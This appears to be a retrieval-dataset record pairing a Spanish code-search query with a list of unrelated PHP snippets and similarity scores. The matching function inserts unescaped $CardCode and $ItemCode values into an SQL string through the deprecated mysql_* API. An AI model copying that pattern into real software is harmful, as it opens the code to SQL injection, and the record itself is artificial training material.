\t</script>';\n }\n }\n }", "public function riesgoclientes($_fecha_tipo,$_IDEmpresa_buscada){\n\t\tif($this->session->userdata('logueado')){\n\t\t\tif($this->session->userdata('IDEmpresa')){\n\t\t\t\t$IDEmpresa=$this->session->userdata('IDEmpresa');\n\t\t\t}else{\n\t\t\t\t$IDEmpresa=$datos->IDEmpresa;\n\t\t\t}\n\t\t\t$n[\"notif\"]=$this->Model_Notificaciones->NumNot($IDEmpresa);\n\t\t\t$this->load->view('head/head_profile',$n);\n\n\t\t}else{\n\t\t\t$this->load->view('head/head');\n\t\t}\n\t\t\t$datar[\"fecha\"]=$_fecha_tipo;\n\t\t\t$datar[\"perfilbuscado\"]=true;\n\t\t\t$datar[\"datosperfil\"]=$this->Model_Empresa->datosempresa($_IDEmpresa_buscada);\n\t\t\t$datar[\"rec\"]=json_encode($this->Model_Riesgo->obtenerrisgos($_IDEmpresa_buscada,\"clientes\",$_fecha_tipo));\n\t\t\t$datar[\"tip\"]=$_fecha_tipo;\n\t\t\t$this->load->view(\"views/newvista/riesgocliente\",$datar);\n\t\t\t$this->load->view('footer');\n\t\t}", "public static function ctrRegistrarCliente(){\n\n\n\tif (isset($_POST['nuevoCliente'])) {\n\n\n\n\t\t$tabla = 'clientes';\n\n\t\t$datos = array(\"cliente\" => $_POST['nuevoCliente'],\n\t\t\t\"id_area\" => $_POST['nuevoAreaCliente'],\n\t\t\t\"documentoID\" => $_POST['nuevoDocumentoID'],\n\t\t\t\"email\" => $_POST['nuevoEmail'],\n\t\t\t\"telefono\" => $_POST['nuevoTelefono'],\n\t\t\t\"direccion\" => $_POST['nuevaDireccion']);\n\n\t\t$respuesta = ModeloCliente::mdlRegistrarCliente($tabla, $datos);\n\n\t\tif ($respuesta == 'ok') {\n\t\t\t?>\n\n\t\t\t<script>\n\n\t\t\t\tswal({\n\n\t\t\t\t\ttype: \"success\",\n\t\t\t\t\ttitle: \"¡El usuario se registro correctamente!\",\n\t\t\t\t\tshowConfirmButton: true,\n\t\t\t\t\tconfirmButtonText: \"Cerrar\",\n\t\t\t\t\tcloseOnConfirm: false\n\n\t\t\t\t}).then((result)=>{\n\n\t\t\t\t\tif(result.value){\n\n\t\t\t\t\t\twindow.location = \"clientes\";\n\n\t\t\t\t\t}\n\n\t\t\t\t});\n\n\n\t\t\t</script> \n\n\t\t\t<?php\n\t\t}\n\n\n\t}\n\n\n}", "public function getREFERIDO()\r\n {\r\n return $this->REFERIDO;\r\n }", "public function nuevoCliente($params=array()){\n\n\t\t\tif(isset($params['rfc']) && isset($params['nombre']) && isset($params['apellidos']) && isset($params['telefonos']) && isset($params['direccion']) && isset($params['email']) && isset($params['ife']) ){\n\t\t\t\t$this->crearCliente($params);\n\t\t\t}\n\t\t\t//Renderizando la vista asociada\n\t\t\t\n\t\t\t$this->view->render(explode(\"\\\\\",get_class($this))[1], \"nuevoCliente\",$this->getErrores());\n\t\t}", "public function getClientId();", "public function getClientId();", "public function getClientId();", "public function getClientId();", "public function getClientId();", "public function getClientId();", "public function getUserIdCriado() {\n return $this->userIdCriado;\n }", "public function getRequestorID()\n {\n return $this->requestorID;\n }", "public function borrarUsuarioController(){\n //Se obtiene el id que se quiere eliminar y se verifica\n if(isset($_GET[\"idBorrar\"])){\n //Al tenerlo este se pasa a una variable\n $datosController = $_GET[\"idBorrar\"];\n //Es enviado hacia el modelo para realizar la conexion y este lo elimine\n $respuesta = Datos::borrarUsuarioModel($datosController, \"clientes\");\n \n if($respuesta == \"correcto\"){\n //Al ser correcto se recarga la pagina anterior para verificar el cambio.\n echo '<script>\t\t\n\t\t\t location.href= \"index.php?action=administrar_clientes\";\n\t\t </script>';\n \n }\n \n }\n }", "public function GetCodigoRespuesta(){\n return $this->codigoRespuesta;\n }", "public function getNomeFantasiaCliente()\n {\n return $this->nomeFantasiaCliente;\n }", "function opzioni_cliente($id_tipo_cliente=\"\", $id_cli=\"\"){\n\t$db = new db(DB_USER,DB_PASSWORD,DB_NAME,DB_HOST);\n\t$visualizza =\"<a href=\\\"cliente_show.php?id_cli=\".$id_cli.\"\\\"><img src=\\\"images/cliente_dati.gif\\\" title=\\\"Visualizza Dati Cliente\\\"/></a>\";\n\t$opzione =\"<a href=\\\"popup_immobili.php?id_cli=\".$id_cli.\"\\\"><img class=\\\"cliente_opzioni\\\" src=\\\"images/cliente_popup_immobili.gif\\\" title=\\\"Mostra Immobile/i del cliente\\\"/></a>\";\n\t$str=\"\";\n\n\tswitch ($id_tipo_cliente) {\n\t\t\n\t\tcase 1: // acquirente\n\t\t\t//$opzione =\"<a href=\\\"popup_richieste.php?id_cli=\".$id_cli.\"\\\"><img class=\\\"cliente_opzioni\\\" src=\\\"images/cliente_popup_richieste.gif\\\" title=\\\"Mostra Richiesta/e del cliente\\\"/></a>\";\n\t\t//\t$richieste = \"<a href=\\\"immobile_cerca.php?id_cli=\".$id_cli.\"\\\"><img class=\\\"cliente_opzioni\\\" src=\\\"images/cliente_richieste.gif\\\" title=\\\"Mostra Immobili Affini alle richieste del cliente\\\"/></a>\";\n\t\t\t$str.= $visualizza;\n\t\t//\t$str.= $richieste;\n\t\t//\t$str.=$opzione;\n\t\t\tbreak;\n\t\tcase 2: // venditore\n\t\t\t//$richieste = \"<a href=\\\"richieste_cerca.php?id_cli=\".$id_cli.\"\\\"><img class=\\\"cliente_opzioni\\\" src=\\\"images/cliente_vendo.gif\\\" title=\\\"Mostra Richieste Correlate all'immobile del cliente\\\"/></a>\";\n\t\t\t$str.= $visualizza;\n\t\t//\t$str.= $richieste;\n\t\t//\t$str.=$opzione;\n\t\t\tbreak;\n\t\tcase 3: // affittuario\n\t\t\t$richieste = \"<a href=\\\"affittuario_cerca.php?id_cli=\".$id_cli.\"\\\"><img class=\\\"cliente_opzioni\\\" src=\\\"images/cliente_affittuario.gif\\\" title=\\\"Mostra persone disposte ad acquistare l'immobile del cliente\\\"/></a>\";\n\t\t\t$str.= $visualizza;\n\t\t//\t$str.= $richieste;\n\t\t\t//$str.=$opzione;\n\t\t\tbreak;\n\t\tcase 4: // cerca affitto\n\t\t//\t$opzione =\"<a href=\\\"popup_affitti.php?id_cli=\".$id_cli.\"\\\"><img class=\\\"cliente_opzioni\\\" src=\\\"images/cliente_popup_affitti.gif\\\" title=\\\"Mostra Richieste di affitti del cliente\\\"/></a>\";\n\t\t//\t$richieste = \"<a href=\\\"affitti_cerca.php?id_cli=\".$id_cli.\"\\\"><img class=\\\"cliente_opzioni\\\" src=\\\"images/cliente_cerco_affitti.gif\\\" title=\\\"Mostra gli immobili in affitto adatti alle richieste del cliente\\\"/></a>\";\n\t\t\t$str.= $visualizza;\n\t\t//\t$str.= $richieste;\n\t\t//\t$str.=$opzione;\n\t\t\tbreak;\n\t\n\t\tdefault:\n\t\t\t$str.= $visualizza;\n\t\t\t\n\t\t\tbreak;\n\t}\n\treturn $str;\n}", "function cl_reconhecimentocontabil() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"reconhecimentocontabil\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "private function getRecepcion(){\n\t\t\t$idRecepcion = $this->validateNumber(isset($_REQUEST['idRecepcion'])?$_REQUEST['idRecepcion']:NULL);\n\t\t\tif($idRecepcion!==''){\n\t\t\t\tif(($result = $this->model->lists(-1,$idRecepcion))){\n\t\t\t\t\tif(is_numeric($result)){\n\t\t\t\t\t\tif ($this->api) {\n\t\t\t\t\t\t\techo $this->json_encode(array('error'=>VACIO,'data'=>NULL,'mensaje'=>'No se encontro Registro alguno'));\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t$template = $this->twig->loadTemplate('vacio.html'); echo $template->render(array('session'=>$this->session,'data'=>NULL));\n\t\t\t\t\t\t}\n\t\t\t\t\t}else{\n\t\t\t\t\t\tif($this->api){\n\t\t\t\t\t\t\techo $this->json_encode(array('error'=>OK,'data'=>$result,'mensaje'=>'Correcto'),JSON_UNESCAPED_UNICODE);\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t$template = $this->twig->loadTemplate('recepcionList.html');\n\t\t\t\t\t\t\techo $template->render(array('session'=>$this->session,'data'=>$result));\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}else{\n\t\t\t\t\tif($this->api){\n\t\t\t\t\t\techo $this->json_encode(array('error'=>ERROR_DB,'data'=>NULL,'mensaje'=>'Error al Realizar la Consulta'));\n\t\t\t\t\t}else{\n\t\t\t\t\t\t//CARGAR VISTA ERROR DB\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}else{\n\t\t\t\tif($this->api){\n\t\t\t\t\techo $this->json_encode(array('error'=>FORMATO_INCORRECTO,'data'=>NULL,'mensaje'=>'Formato Incorrecto'));\n\t\t\t\t}else{\n\t\t\t\t\t//CARGAR VISTA FORMATO INCORRECTO\n\t\t\t\t}\n\t\t\t}\n\t\t}", "function cl_sau_receitamedica() {\n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"sau_receitamedica\");\n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "public function verRedThinkClientEnPizarra( ) {\n $this->setComando(self::$PIZARRA_DIGITAL, \"THINK_CLIENT\");\n\n }", "public function getTelefonoUsuario(){\n return $this->telefonoUsuario;\n }", "function listarCliente(){\n\t\t$this->procedimiento='rec.ft_cliente_sel';\n\t\t$this->transaccion='REC_CLI_SEL';\n\t\t$this->tipo_procedimiento='SEL';//tipo de transaccion\n\t\t\t\t\n\t\t//Definicion de la lista del resultado del query\n\t\t$this->captura('id_cliente','int4');\n\t\t$this->captura('genero','varchar');\n\t\t$this->captura('ci','varchar');\n\t\t$this->captura('email','varchar');\n\t\t$this->captura('email2','varchar');\n\t\t$this->captura('direccion','varchar');\n\t\t$this->captura('celular','varchar');\n\t\t$this->captura('nombre','varchar');\n\t\t$this->captura('lugar_expedicion','varchar');\n\t\t$this->captura('apellido_paterno','varchar');\n\t\t$this->captura('telefono','varchar');\n\t\t$this->captura('ciudad_residencia','varchar');\n\t\t$this->captura('id_pais_residencia','int4');\n\t\t$this->captura('nacionalidad','varchar');\n\t\t$this->captura('barrio_zona','varchar');\n\t\t$this->captura('estado_reg','varchar');\n\t\t$this->captura('apellido_materno','varchar');\n\t\t$this->captura('id_usuario_ai','int4');\n\t\t$this->captura('fecha_reg','timestamp');\n\t\t$this->captura('usuario_ai','varchar');\n\t\t$this->captura('id_usuario_reg','int4');\n\t\t$this->captura('fecha_mod','timestamp');\n\t\t$this->captura('id_usuario_mod','int4');\n\t\t$this->captura('usr_reg','varchar');\n\t\t$this->captura('usr_mod','varchar');\n\n $this->captura('nombre_completo1','text');\n $this->captura('nombre_completo2','text');\n\t\t$this->captura('pais_residencia','varchar');\n\t\t//$this->captura('nombre','varchar');\n\n\n\n\n\t\t\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\t\t\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "private function getoken()\n {\n $data=[\n \"username\"=> $this->chronos_user,\n \"password\"=> $this->chronos_password\n ];\n $client = $this->httpClientFactory->create();\n $client->setUri($this->chronos_url.'login/');\n $client->setMethod(\\Zend_Http_Client::POST);\n $client->setHeaders(['Content-Type: application/json', 'Accept: application/json']);\n $client->setRawData(json_encode($data));\n try {\n $response = $client->request();\n $body = $response->getBody();\n $string = json_decode(json_encode($body),true);\n $token_data=json_decode($string);\n if (property_exists($token_data,'non_field_errors')) {\n return false;\n }else{\n return $token_data->token;\n }\n } catch (\\Zend_Http_Client_Exception $e) {\n $this->logger->addInfo('Chronos Product save helper', [\"error\"=>$e->getMessage()]);\n return false;\n }\n }", "private static function extractCrid()\n {\n return empty($_GET[\"_crid\"])\n ?\n (empty($_SERVER[\"HTTP_X_CORRELATION_ID\"])\n ?\n bin2hex(random_bytes(8))\n :\n $_SERVER[\"HTTP_X_CORRELATION_ID\"])\n :\n $_GET[\"_crid\"];\n }", "public function Restituer()\n {\n // section -64--88-56-1-313d700b:16f04d7fd4a:-8000:00000000000009BC begin\n // section -64--88-56-1-313d700b:16f04d7fd4a:-8000:00000000000009BC end\n }", "function cl_rhestagio() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"rhestagio\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "function cl_ouvidoriaatendimento() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"ouvidoriaatendimento\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "protected function _getRequestSerial()\n {\n return Ark()->webService()->getRequestSerial();\n }", "public function getClientId() : string\n {\n return $this->clientId;\n }", "public function getClientId() : string\n {\n return $this->clientId;\n }", "public function getClientId()\n {\n return $this->getParameter('clientId');\n }", "public function getClientUrl() {\n return $this->_get( 'client_url' );\n }", "abstract public function getClientInformation();", "public function getNomeServidor()\n {\n return $this->nome_servidor;\n }", "static public function ctrEliminarCliente(){\n\n\t\tif(isset($_GET[\"idCliente\"])){\n\n\t\t\t$idCliente = $_GET[\"idCliente\"];\n\n\t\t\t$respuesta = ModeloClientes::mdlEliminarCliente($idCliente);\n\n\t\t\tif($respuesta == \"ok\"){\n\n\t\t\t\techo'<script>\n\n\t\t\t\tswal({\n\t\t\t\t\t type: \"success\",\n\t\t\t\t\t title: \"El cliente ha sido borrado correctamente\",\n\t\t\t\t\t showConfirmButton: true,\n\t\t\t\t\t confirmButtonText: \"Cerrar\"\n\t\t\t\t\t }).then(function(result){\n\t\t\t\t\t\t\t\tif (result.value) {\n\n\t\t\t\t\t\t\t\twindow.location = \"clientes\";\n\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t})\n\n\t\t\t\t</script>';\n\n\t\t\t}\t\t\n\n\t\t}\n\n\t}" ]
[ "0.6497859", "0.6431488", "0.6402086", "0.6330557", "0.6167146", "0.6114095", "0.60623556", "0.60451484", "0.5959392", "0.5950218", "0.59458774", "0.59168184", "0.58844686", "0.58666867", "0.5855206", "0.5847075", "0.58439445", "0.5835566", "0.5835281", "0.5835281", "0.5835281", "0.5833013", "0.58329904", "0.57837385", "0.5782141", "0.57747215", "0.57546073", "0.57060224", "0.5703484", "0.5657755", "0.5641865", "0.56335694", "0.56293845", "0.5619773", "0.5589591", "0.55706656", "0.5566319", "0.5542812", "0.5541044", "0.5541044", "0.55297565", "0.55281115", "0.55256885", "0.5519878", "0.55190283", "0.551537", "0.55011505", "0.5497905", "0.54924494", "0.5491419", "0.54880416", "0.54845953", "0.5460076", "0.5453524", "0.54458666", "0.5439454", "0.543247", "0.54292077", "0.5423111", "0.5417198", "0.54127735", "0.54112846", "0.54055846", "0.5401874", "0.5397814", "0.53936875", "0.5385667", "0.53850263", "0.5360194", "0.5359975", "0.53599095", "0.53599095", "0.53599095", "0.53599095", "0.53599095", "0.53599095", "0.53523034", "0.534779", "0.5338318", "0.5324175", "0.5303743", "0.53019065", "0.52955055", "0.528223", "0.5275432", "0.52744156", "0.5267622", "0.5263147", "0.52607024", "0.5260699", "0.5260017", "0.52540636", "0.5246146", "0.52455527", "0.5239431", "0.5239431", "0.52386457", "0.52317876", "0.52300173", "0.52180046", "0.521762" ]
0.0
-1
Verifica si ya se ingreso en el rutero
function VerificaExisteEnRutero($CardCode,$ItemCode){ if($this->con->conectar()==true){ $ArtiRutero = mysql_query("SELECT COUNT (*) AS EXIST FROM `RUTEROS` WHERE `CardCode` = '".$CardCode."' and `ItemCode` = '".$ItemCode."'"); if($ArtiRutero) { $Exis = mysql_fetch_array($ArtiRutero); if($Exis['EXIST']>0) return 1; else return 0; } } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function isOk(){\n\n\t\treturn $this->status == $this::COD_STATUS_OK;\n\t\n\t}", "function check_response()\n {\n\n $sp_recepcion = new seguripagoRecepcionDiferido($this->sp_idSocio, $this->sp_key, $this->sp_modo);\n $data = $sp_recepcion->recibir();\n if(!is_array($data)) {\n switch($data) {\n case '01': echo \"Error al recepcionar datos.\"; break;\n case '02': echo \"Error en n&uacute;mero de pedido.\"; break;\n case '03': echo \"Error en validaci&oacute;n de hash.\"; break;\n }\n exit();\n }\n\n /**\n * ---------------------- PROCESANDO PAGO APROBADO ---------------------------\n */\n if($data[\"resultado\"] == \"1\") {\n /**\n * Informar al usuario, por correo, informando de la aprobación de su pago,\n * indicar información adicional para que acceda al producto o servicio.\n */\n\n $id_order = ltrim($data['num_pedido'], '0');\n\n $id_order = (int) $id_order;\n\n $order = new WC_Order( $id_order );\n\n // Mark order complete\n //$order->payment_complete();\n // Mark order processing\n $order->update_status( 'processing' );\n }\n\n /**\n * Enviando confirmación de recibo de datos\n */\n $sp_recepcion->confirmar();\n\n }", "public function isOk()\n {\n return $this->status == 'success' || $this->status == 'incomplete';\n }", "function isErro(){\n\n\t\treturn $this->status == $this::COD_STATUS_ERRO;\n\t\n\t}", "public function isOk();", "public function authIsOk() {\n return $this->userID !== 0;\n }", "function invitado() {\n\tif(!isset($_SESSION['usuario'])) {\n\t\treturn false;\n\t} else {\n\t\treturn $_SESSION['usuario']==\"Invitado\";\n\t}\n\t\n}", "function verificalogin(){\n if(!isset($this->session->datosusu)){\n return true;\n }\n }", "function Check()\n {\n $this->_RegenerateId();\n return (isset($_SESSION['ss_fprint1']) && $_SESSION['ss_fprint1'] == $this->_Fingerprint());\n }", "public function isRedirect()\n {\n return isset($this->data['Status']) && '3DAUTH' === $this->data['Status'];\n }", "function IsOK()\n\t{\n\t\treturn ($this->status == 200);\n\t}", "public function check()\n {\n return ! $this->guest();\n }", "public function verifyApiCaller() : bool\n {\n $verified = false;\n\n // check for NOAUTH and no-auth-pages configuration for current page\n // these two settings must be present for the endpoint to be visible outside of REDCap\n if (isset($_GET['NOAUTH']) && in_array($_GET['page'], parent::getConfig()[\"no-auth-pages\"])) \n {\n // MODIFY THIS CHECK for the security needs of your system.\n // This hardcoded token should be changed and pulled from a secure location,\n // if using with a third-party service.\n $rctoken = $_REQUEST['rctoken'];\n if ($rctoken === 'ca5d63d58b507615c328da941270ddf0')//IMPORTANT: modify token and pull from a secure location\n {\n $verified = true;\n }\n }\n // if endpoint is not externally accessible, then this endpoint user has been authenticated by REDCap\n else\n {\n $verified = true;\n }\n\n\n return $verified;\n }", "public static function checkRequest()\n {\n $conn = Db::getConnection();\n $statement = $conn->prepare(\"SELECT * from buddie_request WHERE receiver= '\" . $_SESSION['user_id'] . \"'\");\n $statement->execute();\n if ($statement->rowCount() > 0) {\n return true;\n } else {\n return false;\n }\n }", "public function hasRequest(): bool;", "public function hasRequest(): bool;", "public function is_referee()\n {\n $this->referee = ($this->referee()) ? $this->referee() : NULL;\n $user_obj = User::find(auth()->id());\n if ( isset($this->referee) && $this->referee->id === $user_obj->id ) {\n return $this->is_referee = true;\n } else {\n return $this->is_referee = false;\n }\n }", "function isSuccessful() ;", "function ok()\n {\n return (0 == count($this->_errores));\n }", "function isAuthed ()\r\n\t{\r\n\t\tif ((strlen($this->acUserAuth) > 0 ? $this->acUserAuth : 0) >= $this->acPageAuth)\r\n\t\t{\r\n\t\t\t$status = true;\r\n\t\t} else\r\n\t\t{\r\n\t\t\t$status = false;\r\n\t\t}\r\n\t\treturn $status;\r\n\t}", "public function check() : bool\n { \n foreach($this->caller->numbersCalled as $key => $number)\n {\n \n foreach ($this->card->numbers as $key => $cardLine) \n {\n \n if(in_array($number, $cardLine)){\n $this->confirmations++;\n continue 2;\n }\n\n }\n }\n\n if($this->confirmations<24)\n {\n return false;\n }\n\n return true;\n }", "public function hasRoute(): bool;", "public function isSuccessful() {}", "public static function check_referer()\n {\n $uri = parse_url($_SERVER['REQUEST_URI']);\n $referer = parse_url(rcube_request_header('Referer'));\n return $referer['host'] == rcube_request_header('Host') && $referer['path'] == $uri['path'];\n }", "function awaiting_trigger_check() {\n\t\tif(intval(get_query_var('lepress-student-awaiting')) == 1) {\n\t\t\t//WP default header is 404, have to override it\n\t\t\theader(\"HTTP/1.0 200 OK\");\n\t\t\tif(isSet($_GET['w'])) {\n\t\t\t\techo $this->getAwaitingBubble($_GET['w']);\n\t\t\t}\n\t\t\texit;\n\t\t}\n \t}", "public function authorize()\n {\n return Auth::user()->data_confirmacao != null;\n }", "public function isVerificato()\n {\n if ($this->verificato === NULL)\n {\n $conn = $GLOBALS[\"connest\"];\n $conn->connetti();\n $anno = AnnoSportivoFiam::get();\n\n //verifica pagamento\n $id = $this->getChiave();\n $mr = $conn->select('pagamenti_correnti', \"idtesserato='$id' AND YEAR(scadenza) >= $anno AND idtipo=\" . self::TIPO_ATL_FIAM);\n if ($mr->fetch_row() === NULL)\n {\n $this->verificato = false;\n } else\n {\n //verifica assicurazione\n $mr = $conn->select('assicurazioni_correnti', \"idtesserato='$id' AND YEAR(valido_da) <= $anno AND YEAR(valido_a) >= $anno\");\n $this->verificato = ($mr->fetch_row() !== NULL);\n }\n }\n return $this->verificato;\n }", "private function validateRequest()\n {\n $ret_api_secret = null;\n\n if (!isset($_POST['invoiceId'])) {\n dump($_POST['invoiceId']);\n return false;\n }\n\n if (isset($_POST['apiSecret'])) {\n $ret_api_secret = $_POST['apiSecret'];\n } else {\n return false;\n }\n\n if ($this->api_secret != $ret_api_secret) {\n return false;\n }\n\n if (isset($_SERVER['HTTP_REFERER'])) {\n $urlParts = parse_url($_SERVER['HTTP_REFERER']);\n $ip = gethostbyname($urlParts['host']);\n\n if ($this->pursar_ip != $ip) {\n return false;\n }\n }\n\n return true;\n }", "private static function check_referer() {\n\n\t\t$ref = wp_get_referer();\n\t\t$ref = self::find_origin( $ref );\n\t\t$proper_origin = self::find_origin( home_url( ) );\n\n\t\tif ( $proper_origin === $ref ) {\n\t\t\treturn true;\n\n\t\t}\n\n\t}", "public function isOK()\n {\n if($this -> status == \"OK\")\n return true;\n else\n return false;\n }", "function awaiting_trigger_check() {\n\t\tif(intval(get_query_var('lepress-teacher-awaiting')) == 1) {\n\t\t\t//WP default header is 404, have to override it\n\t\t\theader(\"HTTP/1.0 200 OK\");\n\t\t\tif(isSet($_GET['w'])) {\n\t\t\t\techo $this->getAwaitingBubble($_GET['w']);\n\t\t\t}\n\t\t\texit;\n\t\t}\n \t}", "public function isSuccessful();", "public function isSuccess();", "public function isSuccess();", "public function isSuccess();", "public function isSuccess();", "public function isOK()\n {\n return $this->getHTTPCode() == 200;\n }", "abstract protected function checkExistingResponse();", "public function getIsOk()\n {\n return substr($this->_status, 0, 1) == '2';\n }", "public function hasVerification()\r\n {\r\n // No need for CVN in creating/updating token\r\n return Mage::getModel('ewayrapid/method_notsaved')->hasVerification();\r\n }", "public function injxOk() : bool {\n return $this->injxCaller != NULL;\n }", "public function isSuccessful(){\r\n return $this->code>=200&& $this->code <300;\r\n }", "public function tetSalvarATOQuandoTudoOkRetornaRedirect() {\n $this->assertTrue(true);\n }", "private function checkRoute()\n\t{\n\t $route = GlobalSystem::routeType();\n\t\tif(key_exists($route, RequestRoute::$routes)){\n\t\t\t$this->trigger = RequestRoute::$routes[$route][GlobalSystem::ExpRouteKeyTrigger];\n\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t}", "function Check() {\n\t\t// Check if the token has been sent.\n\t\tif(isset($_REQUEST['spack_token'])) {\n\t\t\t// Check if the token exists\n\t\t\tif(isset($_SESSION[\"spackt_\".$_REQUEST['spack_token']])) {\n\t\t\t\t// Check if the token isn't empty\n\t\t\t\tif(isset($_SESSION[\"spackt_\".$_REQUEST['spack_token']])) {\n\t\t\t\t\t$age = time()-$_SESSION[\"spackt_\".$_REQUEST['spack_token']];\n\t\t\t\t\t// Check if the token did not timeout\n\t\t\t\t\tif($age > $this->timeout*60) $this->error = 4;\n\t\t\t\t}\n\t\t\t\telse $this->error = 3;\n\t\t\t}\n\t\t\telse $this->error = 2;\n\t\t}\n\t\telse $this->error = 1;\n\t\t// Anyway, destroys the old token.\n\t\t$this->tokenDelAll();\n\t\tif($this->error==0) return true;\n\t\telse return false;\n\t}", "public function isSigLeader()\n {\n return $this->sigs()->where('main', 1)->count() > 0;\n }", "function check_ref()\r\n\t{\r\n\t\t$srv = $_SERVER['SERVER_NAME']; //服务器名\r\n\t\t\r\n\t\tif (substr($_SERVER['HTTP_REFERER'],7,strlen($srv)) != $srv)\r\n\t {\r\n\t\t\t//header('Location: /');\r\n\t \t exit;\r\n\t }\r\n\t\t\r\n\t\treturn true;\r\n\t}", "private function userHasResources() {\n $utenti = new MUtenti;\n foreach ($utenti->find(array(), $utenti->getPosition()) as $itemUtenti) {\n if ($itemUtenti[$_POST['nomeRisorsaOfferta']] < $_POST['quantitaOfferta']) {\n return false;\n }\n }\n return true;\n }", "public function ouvrir()\n {\n // On enregistre l'ouverture\n if ($this->set('mission_statut', 1)) {\n return true;\n } else {\n return false;\n }\n }", "function isOK() {\r\n\t\t\r\n\t\treturn $this->ok;\r\n\t}", "public function isRejected()\n {\n return ($this->slug == \"afgekeurd\");\n }", "private function _isResource() {\n $Info = explode('.', $_SERVER[\"REQUEST_URI\"]);\n $rVal = false;\n\n if ( count($Info) > 1 ) { $rVal = true; }\n\n // Return the Boolean Response\n return $rVal;\n }", "public function temErro(){\n\t\tif (count($this->erros) == 0){\n\t\t\treturn false;\n\t\t}\n\t\telse return true;\n\t}", "public function isRelawan();", "public function isCompleted()\r\n {\r\n return $this->status >= 100 || $this->status == 2;\r\n }", "public function isInscrit(){\r\n $retour = false ;\r\n $pseudo = $this -> getPseudo();\r\n\tif(!empty($pseudo)){\r\n\t$q = \"select User_inscrit as i from UserTab where User_pseudo = '\".$pseudo.\"'\";\r\n\t$res = execute($q) ;\r\n\t\twhile($l = mysql_fetch_assoc($res)){\r\n\t\t if($l['i'] == 1) $retour = true ;\r\n\t\t}\r\n\t}\r\n \r\n return $retour ;\r\n\r\n }", "public function is_surveillant() {\n return $this->session->get(\"niveau_acces\") >= 1;\n }", "public function isRegistered() {\n //1ero. es un registro completo o 2do es un\n //registro incompleto.\n if (is_file(\"/etc/elastix.key\")) { \n if($this->columnExists(\"has_account\")) {\n $result = $this->_DB->getFirstRowQuery(\"select has_account from register;\", true);\n if (is_array($result) && count($result)>0){\n return ($result['has_account']==\"yes\")?\"yes-all\":\"yes-inc\";\n }\n else return \"yes-inc\";\n }\n else {\n //intento crear la columna \n if(!$this->addColumnTableRegister(\"has_account char(3) default 'no'\")) {\n $this->errMsg = \"The column 'has_account' does not exist and could not be created\";\n return \"yes-inc\";\n }\n\n //Actualizo el valor de la columna\n //con la info desde webservice\n $dataWebService = $this->getDataServerRegistration();\n if(!(is_array($dataWebService) && count($dataWebService)>0)) // no se puedo conectar al webservice\n return \"yes-inc\";\n \n if($this->updateHasAccount(1,$dataWebService['has_account']))\n return ($dataWebService['has_account']==\"yes\")?\"yes-all\":\"yes-inc\";\n else return \"yes-inc\";\n }\n }\n else return \"no\";\n }", "public function authorize()\n {\n $job = Job::findOrFail($this->route('id'));\n\n return $job->state_id == State::FINISHED;\n }", "public static function CheckRequestSent($ProfilePage){\n //return true if request is sent\n $senderid = Auth::user()->id; //login user is sender\n $reciverId = DB::table('signup')->where('name',$ProfilePage)->first()->id; //profile page is reciver\n if(DB::table('companions_table')->where('sender_id',$senderid)->where('reciver_id', $reciverId)->where('companion','0')->exists()){\n return '1';\n }else{\n return '0';\n }\n }", "public function check_request($mode = rcube_ui::INPUT_POST)\n {\n $token = rcube_ui::get_input_value('_token', $mode);\n $sess_id = $_COOKIE[ini_get('session.name')];\n return !empty($sess_id) && $token == $this->get_request_token();\n }", "public function isAuthorize(){\n $userPlan = $this->request->session()->get('userPlan');\n return ($userPlan >= 1)? true : abort(404) ;\n }", "public function verified()\n {\n return $this->verifyToken === null;\n }", "public function check_response() {\n\n\t\t// To test in live mode ($_post)\n\t\t$post = ( file_get_contents( 'php://input' ) );\n\n\t\tif ( ! empty( $post ) ) {\n\t\t\tdo_action( 'valid-oyst-one-click-request', $post );\n\t\t\texit;\n\t\t}\n\t\tWC_Oyst_One_Click::log( 'Retour One Click vide', 'error' );\n\t\twp_die( 'Erreur de requête One Click', '1-Click', array( 'response' => 500 ) );\n\n\t}", "public function tieneReceta()\n {\n if (!is_null($this->receta)) {\n return true;\n }\n\n return false;\n }", "private function isAliveRequest() : bool {\n return\n $_SERVER['REQUEST_METHOD'] === \"GET\"\n &&\n $_SERVER['DOCUMENT_URI'] === '/status';\n }", "public function isSigCoLeader()\n {\n return $this->sigs()->where('main', 2)->count() > 0;\n }", "public function isRequestSuccess(): bool\n {\n return count($this->errors) === 0;\n }", "public function isComplete()\n {\n return $this->status == 'success';\n }", "function isSuccess()\n\t{\n\t\treturn($this->getStatus() == 'SUCCESS');\n\t}", "public function is_valid_link()\r\n {\r\n \t$sql = 'SELECT count(id) from '.$this->get_exercise_table()\r\n\t\t\t\t.' WHERE id = '.$this->get_ref_id();\r\n\t\t$result = api_sql_query($sql, __FILE__, __LINE__);\r\n\t\t$number=mysql_fetch_row($result);\r\n\t\treturn ($number[0] != 0);\r\n }", "public function usernext_exist(Request $request)\n\t\t{\n\t\t// ------------------------------ Eliminar Cliente --------------------\n\t\t$resultado = $this->tableEmpresas->select('ruc')->where('ruc', '=', $request->input('ruc'))->get();\n\t\tif (count($resultado) == 0)\n\t\t\t{\n\t\t\t$res = $this->client->request('GET', config('global.appserviciosnext').'/public/getDatos', ['json' => ['tipodocumento' => 'RUC', 'nrodocumento' => $request->input('ruc') ]]);\n\t\t\t$respuesta = json_decode($res->getBody() , 